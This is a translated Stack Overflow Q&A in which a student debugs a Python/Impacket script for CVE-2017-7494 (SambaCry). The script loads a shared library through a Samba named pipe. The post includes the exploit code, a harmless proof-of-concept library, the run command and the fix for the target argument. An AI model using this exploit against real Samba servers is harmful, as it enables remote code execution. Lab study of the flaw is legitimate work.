我正在做一个小型的学校cybersec项目,我的Python (使用Impacket库:用于RPC的传输模块)脚本有一个小bug。这是一个非常简单的脚本,有效负载可以在GitHub上找到,供您参考:https://github.com/omri9741/cve-2017-7494/blob/master/exploit.py
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="target ip address")
parser.add_option("-m", "--module", dest="module", help="module path on
target server")
(options, args) = parser.parse_args()
if options.target and options.module:
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect()
else:
parser.print_help()
if __name__=="__main__":
main()
我已经设置了整个系统(Kali Linux 2017.1),包括Samba服务器(4.5.8),并且Samba共享已经测试正常(连接正常,文件传输正常)。已验证是否没有运行防火墙服务。有效负载也已从C文件内置到共享对象libpoc.so中:
#include <stdio.h>
int samba_init_module(void)
{
printf("hello from cve-2017-7494 poc! ;)\n");
return 0;
}
和头文件:
#ifndef poc_h__
#define poc_h__
extern int samba_init_module(void);
#endif // poc_h__
运行该命令时:
python exploit.py -t //localhost/pentest -m /localhost/pentest/libpoc.so
我得到回溯日志:
raise socket.error ("Connection error (%s:%s)" % (peer[0], peer[1]), e) socket.error:
[Errno Connection error (localhost/pentest:445)] [Errno -2] Name or service not known
发布于 2017-07-24 17:18:27
您应该仅指定目标FQDN或IP地址。例如:
python exploit.py -t 192.168.1.10 -m /localhost/pentest/libpoc.so
https://stackoverflow.com/questions/45261423
复制相似问题